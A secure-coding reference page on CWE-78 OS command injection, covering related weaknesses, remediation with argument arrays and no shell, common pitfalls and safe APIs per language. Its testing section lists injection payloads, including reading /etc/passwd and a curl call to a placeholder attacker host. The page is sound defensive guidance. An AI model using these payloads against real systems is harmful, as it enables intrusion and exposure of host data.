CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Overview
OS command injection happens when an application builds an operating system command out of untrusted data and hands it to a shell. The shell reads the injected text as syntax rather than as data, so the attacker gets to run commands of their own on the host with the application's privileges.
Relationship to Other CWEs
- CWE-77 (Command Injection) - The parent. It is the same weakness with the interpreter left open - the command language need not be an OS shell, and its other children cover expression languages and LLM prompts. Use CWE-77 when a tool reports it without naming the sink, or when the sink is not a shell.
- CWE-78 (this page) - The child that scopes CWE-77 to operating-system commands, and the mapping MITRE prefers when the sink is a shell. MITRE's own guidance notes that CWE-77 "is often misused when OS command injection (CWE-78) was intended instead", so a CWE-77 finding on a
system()/exec()/ProcessBuildersink belongs here. - CWE-88 (Argument Injection) - A sibling - the other child of CWE-77 - for injecting flags or options into a command whose program the attacker cannot change. It survives the array-form fix that closes CWE-78, because an argument beginning with
-is delivered faithfully and read as an option.
OWASP Classification
A05:2025 - Injection
Risk
Critical: A successful injection runs arbitrary commands on the host with the application's OS privileges. Whatever that account can read, write or reach is available to the attacker. Least privilege bounds that reach; it does not close the injection.
Remediation Steps
Core Principle: Never execute operating system commands constructed from untrusted input; eliminate shell execution entirely and use safe, parameterized system APIs when OS interaction is unavoidable.
Trace the Data Path
Follow the untrusted data from where it enters to the command execution:
- Source: user input, an external file, a database, a network request
- Sink: The system execution function, such as
exec(),system()orRuntime.exec() - Validation gaps: Each step between source and sink where the value should have been checked and was not
Eliminate System Calls (Preferred)
The safest fix is not to run system commands at all. Replace them with native language APIs:
- File operations: Use language-native file I/O APIs instead of shell commands
- Network operations: Use HTTP or socket libraries instead of
curlorwget - Process management: Use language process/threading APIs instead of shell scripts
Use Parameterized Execution
If system commands are unavoidable, use APIs that separate commands from arguments:
- Never concatenate untrusted data into command strings
- Use argument arrays, where the command and each parameter are separate elements
- Do not invoke a shell: avoid
sh -c,cmd /c,shell=Trueand their equivalents - Treat a Windows
.bat/.cmdtarget as a shell. Windows has no argv array at the system-call level, andcmd.exeparses the command line for a batch file, so an argument array is not enough when the program you launch is one. Runtimes differ on this: Node.js and PHP shipped fixes in 2024 (CVE-2024-27980, CVE-2024-1874), while Java, .NET, Go and Python leave it to the caller. Call the executable the batch file wraps instead. - The language-specific guidance below names the safe API in each runtime
Add Input Validation (Defense in Depth)
Even with parameterized execution, validate all untrusted data:
- Allowlist permitted characters, alphanumeric only if possible
- A strict allowlist rejects shell metacharacters by construction: semicolons, pipes, ampersands, redirection characters, command substitution syntax, newlines, and parentheses
- Validate the format against the expected pattern, such as a filename or an IP address
- Use absolute paths to prevent directory traversal
Apply Least Privilege
Bound what an attacker reaches if an injection succeeds:
- Run the application with minimal OS permissions
- Use sandboxing or containerization to isolate processes
- Do not run as root or administrator unless there is no alternative
Test with Malicious Inputs
Verify the fix with command injection payloads:
; lsor; dir(command chaining)| cat /etc/passwdor| type C:\Windows\win.ini(piping)$(whoami)or`whoami`(command substitution)&& curl attacker.com(conditional execution)
Common Pitfalls
- Swapping the API but keeping the shell: Replacing a legacy call like
system()oros.system()with a "modern" execution API (subprocess.run(),ProcessBuilder,child_process.execFile()) while still passingshell=true/shell=Trueor explicitly invokingsh -c/cmd /c- The function name changed, but the shell still parses the argument string for metacharacters, so the injection point is unchanged. - Denylisting a handful of metacharacters: Rejecting input containing
;,|, or&and considering the input safe - Shells recognize many other operators (backticks,$(), newlines,&&,||, redirection, and platform-specific tokens like%VAR%on Windows), and a denylist that misses even one still allows injection. - Escaping instead of eliminating the shell: Wrapping user input in a hand-written quoting function before concatenating it into a command string - Manual escaping has to anticipate every parsing rule of the target shell and platform; one missed edge case (nested quotes, trailing backslashes, encoding differences) reopens the vulnerability that parameterized execution would have closed.
- Validating at the wrong layer: Checking that user input matches an expected format (such as an IP address) at the point it enters the application, then passing it through several layers of formatting or template substitution before it reaches the actual command execution - If a later layer reconstructs the command as a single string, the earlier validation no longer guarantees what actually reaches the shell.
Language-Specific Guidance
Concrete APIs and framework patterns for each runtime:
- C# - ProcessStartInfo with ArgumentList instead of a concatenated command line
- Go - os/exec with argument arrays, avoiding shell execution
- Java - ProcessBuilder, Runtime.exec() with argument arrays
- JavaScript - child_process spawn/execFile without shell
- PHP - proc_open with an argument array; escapeshellarg only where legacy code cannot avoid the shell
- Python - subprocess with an argument list, and native-library replacements for os.system